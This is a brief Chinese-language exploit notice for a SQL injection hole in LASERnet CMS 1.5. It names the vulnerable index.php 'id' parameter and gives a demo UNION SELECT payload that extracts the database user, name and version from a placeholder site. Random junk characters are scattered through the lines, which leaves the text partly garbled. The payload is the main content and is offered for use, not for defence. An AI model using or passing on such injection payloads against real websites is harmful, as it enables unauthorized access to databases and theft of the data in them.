LASERnet CMS Version 1.5 SQL注入漏洞

admin

利用方法：
0 m5 W5 }2 e% c1 ~2 s8 n7 p% G http://www.xxx.com/index.php?id=[SQL]
4 R, u, p7 s6 T3 X Demo:
+ a; U" V; H4 A/ ~6 v- m, @ http://www.xxx.com/index.php?id=-1' UNION SELECT 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8,9,10,11,12,13--+